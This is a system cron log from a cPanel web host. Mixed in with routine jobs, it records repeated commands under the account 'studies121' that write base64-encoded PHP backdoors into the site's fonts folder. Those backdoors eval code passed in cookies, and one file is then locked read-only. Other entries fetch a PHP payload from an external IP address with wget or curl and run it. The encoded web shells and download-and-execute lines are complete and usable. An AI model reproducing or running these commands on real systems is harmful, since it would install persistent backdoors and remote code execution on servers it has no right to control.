Sep 20 23:13:01 ip-184-168-122-23 CROND[23850]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 23:13:01 ip-184-168-122-23 CROND[23852]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 23:13:01 ip-184-168-122-23 CROND[23849]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 23:14:01 ip-184-168-122-23 CROND[23928]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 23:14:01 ip-184-168-122-23 CROND[23930]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 23:14:01 ip-184-168-122-23 CROND[23933]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 23:14:01 ip-184-168-122-23 CROND[23932]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 23:14:01 ip-184-168-122-23 CROND[23934]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 23:15:01 ip-184-168-122-23 CROND[24016]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 23:15:01 ip-184-168-122-23 CROND[24018]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 23:15:01 ip-184-168-122-23 CROND[24019]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 23:15:01 ip-184-168-122-23 CROND[24020]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 23:15:01 ip-184-168-122-23 CROND[24022]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 23:15:01 ip-184-168-122-23 CROND[24023]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 23:16:01 ip-184-168-122-23 CROND[24117]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 23:16:01 ip-184-168-122-23 CROND[24119]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 23:16:01 ip-184-168-122-23 CROND[24120]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 23:16:01 ip-184-168-122-23 CROND[24123]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 23:16:01 ip-184-168-122-23 CROND[24121]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 23:16:01 ip-184-168-122-23 CROND[24122]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 23:17:01 ip-184-168-122-23 CROND[24225]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 23:17:01 ip-184-168-122-23 CROND[24226]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 23:17:01 ip-184-168-122-23 CROND[24224]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 23:17:01 ip-184-168-122-23 CROND[24227]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 23:18:01 ip-184-168-122-23 CROND[24316]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 23:18:01 ip-184-168-122-23 CROND[24319]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 23:18:01 ip-184-168-122-23 CROND[24320]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 23:18:01 ip-184-168-122-23 CROND[24321]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 23:18:01 ip-184-168-122-23 CROND[24318]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 23:19:01 ip-184-168-122-23 CROND[24403]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 23:19:01 ip-184-168-122-23 CROND[24405]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 23:19:01 ip-184-168-122-23 CROND[24406]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 23:19:01 ip-184-168-122-23 CROND[24409]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 23:20:01 ip-184-168-122-23 CROND[24594]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 23:20:01 ip-184-168-122-23 CROND[24596]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 23:20:01 ip-184-168-122-23 CROND[24598]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 23:20:01 ip-184-168-122-23 CROND[24601]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 23:20:01 ip-184-168-122-23 CROND[24603]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 23:20:01 ip-184-168-122-23 CROND[24604]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 23:20:01 ip-184-168-122-23 CROND[24605]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 23:20:01 ip-184-168-122-23 CROND[24602]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 23:20:01 ip-184-168-122-23 CROND[24606]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 23:21:01 ip-184-168-122-23 CROND[24695]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 23:21:01 ip-184-168-122-23 CROND[24698]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 23:21:01 ip-184-168-122-23 CROND[24697]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 23:21:01 ip-184-168-122-23 CROND[24699]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 23:22:01 ip-184-168-122-23 CROND[24979]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 23:22:01 ip-184-168-122-23 CROND[24983]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 23:22:01 ip-184-168-122-23 CROND[24981]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 23:22:01 ip-184-168-122-23 CROND[24984]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 23:22:01 ip-184-168-122-23 CROND[24982]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 23:23:01 ip-184-168-122-23 CROND[25085]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 23:23:01 ip-184-168-122-23 CROND[25088]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 23:23:01 ip-184-168-122-23 CROND[25089]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 23:23:01 ip-184-168-122-23 CROND[25087]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 23:24:01 ip-184-168-122-23 CROND[25163]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 23:24:01 ip-184-168-122-23 CROND[25166]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 23:24:01 ip-184-168-122-23 CROND[25168]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 23:24:01 ip-184-168-122-23 CROND[25165]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 23:24:01 ip-184-168-122-23 CROND[25167]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 23:25:01 ip-184-168-122-23 CROND[25335]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 23:25:01 ip-184-168-122-23 CROND[25333]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 23:25:01 ip-184-168-122-23 CROND[25334]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 23:25:01 ip-184-168-122-23 CROND[25332]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
